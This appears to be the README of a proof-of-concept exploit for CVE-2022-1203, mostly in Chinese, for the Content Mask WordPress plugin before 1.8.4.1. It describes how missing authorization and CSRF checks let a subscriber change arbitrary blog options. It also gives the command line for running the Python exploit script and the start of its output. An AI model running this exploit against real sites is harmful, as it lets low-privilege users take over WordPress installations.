CVE-2022-1203

CVE-2022-1203 Content Mask 1.8.4 - 订阅者+ 任意选项更新 描述 Content Mask WordPress 插件在 1.8.4.1 之前的版本中，多个 AJAX 操作缺少授权和 CSRF 检查，同时也没有验证要更新的选项以确保其属于该插件。因此，任何已认证用户（例如订阅者）都可以修改任意博客选项。 使用方法 漏洞利用 $ python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1 The plugin version is below 1.8.3.2. The plug...